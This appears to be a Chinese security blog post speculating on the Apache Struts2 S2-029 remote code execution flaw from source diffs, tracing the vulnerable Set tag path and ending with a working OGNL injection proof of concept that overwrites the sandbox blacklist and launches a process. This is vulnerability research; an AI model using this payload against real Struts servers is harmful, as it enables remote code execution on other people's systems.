Struts框架s2-29远程代码执行漏洞猜想

在315打假日,知名的Java Web框架Struts2发布了新一轮的安全公告,其中最惹国内眼球的,当属这个s2-29——Possible Remote Code Execution vulnerability,可能存在远程代码执行漏洞。对于这个漏洞我第一时间就是一直在跟踪,但是由于官方透露的细节是在台上,所以这里我只能通过github上代码的变更信息,来猜测这个漏洞点。所以本篇文章仅供各位参考。

0x01 漏洞猜想

由于之前Struts2出现问题时,官方被安全人员和使用者训斥,不应该在安全公告中透露漏洞细节以及利用方法,所以这次官方很乖的在公告里写了一些很模糊的内容。

The Apache Struts frameworks performs double evaluation of attributes’ values assigned to certain tags so it is possible to pass in a value that will be evaluated again when a tag’s attributes will be rendered.

从这些内容中我们只能大概的知道在Struts的某些标签会在渲染的时候被执行两次,所以在新版本中修复了这个问题。在公告中说升级到2.3.25可以解决这个问题,所以我去github上diff了2.3.24.1和2.3.25两个版本。这两个版本中间commit了84次。我查看了所有的commit的代码部分,发现有几条看似像是关于这个漏洞相关的内容。

diff0

diff0

diff1

diff1

diff2

diff2

diff3

diff3

从内容来猜测,前两张图中的修改应该是用于完善沙盒检测机制的,因为这个修改,导致了官方后面出现了一个乌龙事件,这个我们留到后面再说。

好了,下面我们来看第三张图片了,看commit的描述reduces(减少)似乎与double有些关联,而且修改的component.java是所有标签的一个基类。而且从代码变化上来看,应该是减少不必要的Ognl表达式执行。代码对比如下:

2.3.24.1

//core/src/main/java/org/apache/struts2/components/Component.java
protected Object findValue(String expr, Class toType) {           
protected Object findValue(String expr, Class toType) {
          if (altSyntax() && toType == String.class) {       
          if (altSyntax() && toType == String.class) {
 -          return TextParseUtil.translateVariables('%', expr, stack);      
 +            if (ComponentUtils.containsExpression(expr)) {
 +                return TextParseUtil.translateVariables('%', expr, stack);
 +            } else {
 +                return expr;
 +            }
          } else {                } else {
              expr = stripExpressionIfAltSyntax(expr);

//core/src/main/java/org/apache/struts2/util/ComponentUtils.java
-     * @param value to treat as an expression      
+     * @param expr to treat as an expression
       * @return true if it is an expression         
       * @return true if it is an expression
       */              */
 -    public static boolean isExpression(Object value) {        
 +    public static boolean isExpression(String expr) {
 -        String expr = value.toString();       
          return expr.startsWith("%{") && expr.endsWith("}");          
          return expr.startsWith("%{") && expr.endsWith("}");
      }           }
          

2.3.25

//core/src/main/java/org/apache/struts2/components/Component.java
 protected Object findValue(String expr, Class toType) {
          if (altSyntax() && toType == String.class) {      
          if (altSyntax() && toType == String.class) {
 -          return TextParseUtil.translateVariables('%', expr, stack);      
 +            if (ComponentUtils.containsExpression(expr)) {
 +                return TextParseUtil.translateVariables('%', expr, stack);
 +            } else {
 +                return expr;
 +            }
          } else {                } else {
              expr = stripExpressionIfAltSyntax(expr);        
              expr = stripExpressionIfAltSyntax(expr);

//core/src/main/java/org/apache/struts2/util/ComponentUtils.java
+     * @param expr to treat as an expression
       * @return true if it is an expression        
       * @return true if it is an expression
       */              */
 -    public static boolean isExpression(Object value) {        
 +    public static boolean isExpression(String expr) {
 -        String expr = value.toString();       
          return expr.startsWith("%{") && expr.endsWith("}");          
          return expr.startsWith("%{") && expr.endsWith("}");
      }           }
          
 +    public static boolean containsExpression(String expr) {
 +        return expr.contains("%{") && expr.contains("}");
 +    }
 +
  }       }

这段代码的修改用来处理掉了非%{开头,}结尾的字符串进行ognl解析的功能,这里我们来举个例子:bar%{2+3},在修改之前的代码中2+3是会被作为ognl执行的。那么修改后,这种形式就只会被当做字符串来返回。下面问题来了,这种要依赖Struts二次开发人员的奇葩代码风格的问题会被当成CVE吗?这个我是说不清楚,不过从描述和代码上来看,不是没有这种可能。

下面我们来看最后一张图片,这个修改就很有意思了,修改Xwork在底层和ognl的接口函数——setValue。去掉了这个函数的最后一个参数——evalName,这个参数的作用是用来判断是不是参数名的,如果是参数名那么绝不当做ognl表达式执行。这个参数最开始的使用者是参数拦截器中的setParameter方法,用来防止类似s2-03,s2-09这样的问题。但是官方应该是发现有一些他们不记得在哪里用过的setValue可能也存在这样的问题,那么索性就所有的参数名都不允许当做表达式执行好了,所以进行了这次修改。

之后我搜索了下关于这个setValue的使用情况,比较值得注意的有几个个点:Component类的copyParams参数,不过貌似没有被调用过;Set容器类,不过需要攻击者可以操控var属性内容;还有就是Cookie拦截器中,前提肯定是需要远程服务端配置好参数拦截器。相比较来说这个修改面对的问题就比较大了,毕竟Cookie拦截器使用的人也是不少的。所以我猜测s2-29的修复应该是这个点的可能性比较大。

0x02 漏洞构造&利用

我懒得去配置Cookie拦截器了,所以这里使用的是set标签,代码很简单:

<set var="%{#parameters.tang3}"/>

我知道你可能要吐槽%{}这种写法问题会很大,我这里只是单纯的想表示一下var属性可控的情况,不会对后面的执行产生实质影响的。

我们使用http://ip/test.action?tang3=attack来先看一下流程,首先是ContexBean Tag这个基类,在他的处理过程中所有标签的var属性都会通过ContextBean的setVar函数进行一次赋值,他的赋值代码如下:

public void setVar(String var) {
        if (var != null) {
            this.var = findString(var);
        }
    }

如果你熟悉Struts2的标签实现代码,就会知道findString会对参数进行一次ognl表达式执行,他最终的执行代码就是我们分析第三张图中的那个findValue函数,findString的var参数就是findValue的exp参数。从下面图中可以看出tang3的值已经被取出来了(忽略掉内容的问题,后面会详细解释Poc为什么会长这样):

debug0

debug0

我们继续向下走,到了Set类的end方法中,我们发现,代码是这样的:

public boolean end(Writer writer, String body) { ValueStack stack = getStack();

        Object o;
        if (value == null) {
            if (body != null && !body.equals("")) {
                o = body;
            } else {
                o = findValue("top");
            }
        } else {
            o = findValue(value);
        }
    
        body="";
    
        if ("application".equalsIgnoreCase(scope)) {
            stack.setValue("#application['" + getVar() + "']", o);
        } else if ("session".equalsIgnoreCase(scope)) {
            stack.setValue("#session['" + getVar() + "']", o);
        } else if ("request".equalsIgnoreCase(scope)) {
            stack.setValue("#request['" + getVar() + "']", o);
        } else if ("page".equalsIgnoreCase(scope)) {
            stack.setValue("#attr['" + getVar() + "']", o, false);
        } else {
            stack.getContext().put(getVar(), o);
            stack.setValue("#attr['" + getVar() + "']", o, false);
        }
    
        return super.end(writer, body);
    }

看到那一堆的setValue了没有,我们刚才讨论的就是它!它实现一个三个参数的重载,实现代码是这样的:

public void setValue(String name, Map<String, Object> context, Object root, Object value) throws OgnlException {
        setValue(name, context, root, value, true);
    }

没什么可说的了,evalName值是true,也就是说可以直接执行name中的ognl表达式。而getVar返回的内容,就是我们刚才的this.var值。

剩下的就是PoC构造的了,如我们所看到的拼接代码,我们需要封闭原有的表达式,然后构造合法语句,所以PoC就长成了这个样子:

a']=1,ongl,#attr['a

ongl部分可以替换为任意ongl表达式语句,但是还有一个问题,就是Struts存在一个沙盒,防止ognl执行危险的java代码。这里我从阿里的文章中受到了启发,并且通过安恒的文章学到了这个技巧,那就是通过覆盖沙盒的黑名单成员变量,来实现绕过。所以之后我谈计算器的Poc长这个样子:

a']=1,#_memberAccess["excludedClasses"]={1},new java.lang.ProcessBuilder('calc').start(),#attr['a

0x03 漏洞八卦

Struts框架漏洞曾经深深的伤害过国内大大小小的网站,也使很多安全公司深深的体会到到过事件运营的“乐趣”,所以Struts稍微有个安全公告大家都有一种打了鸡血的干劲。但有时候事与愿违,官方这次一点细节也不透露,只能靠猜,影响了质量和速度,实在是运营的一大悲哀啊。

这次漏洞的修复过程还是很欢乐,官方在测试沙盒规则时,应该是为了方便测试去掉了沙盒的代码,结果当我查看commit是看到了下面这一幕:

bagua0

bagua0

是的!他把沙盒给删了~~看到这里是我是一脸懵逼的状态,直到我看到了2.3.26的commit:

bagua1

bagua1

我笑抽了,我真的笑抽了~~所以Struts在外的发布版本中只有2.3.25BETA系列,而没有真正的2.3.25版本。

对了,还有一个就是,大家都以为目前大家看到的绕过沙盒PoC真的在2.3.26中已经没用了吗?反正我的PoC只能在2.3.24.1中用。

PS:苦逼的官方现在已经在测试2.3.27版本了大家准备好下一波升级吧~~

bagua2

bagua2

0x04 参考文章

【1】《Struts2 S2-029远程代码执行漏洞初探》

【2】《s2-029 Struts2 标签远程代码执行分析》

如果您需要了解更多内容,可以
加入QQ群:486207500
直接询问:010-68438880-8669

Spread the word. Share this post!

Meet The Author

Leave Comment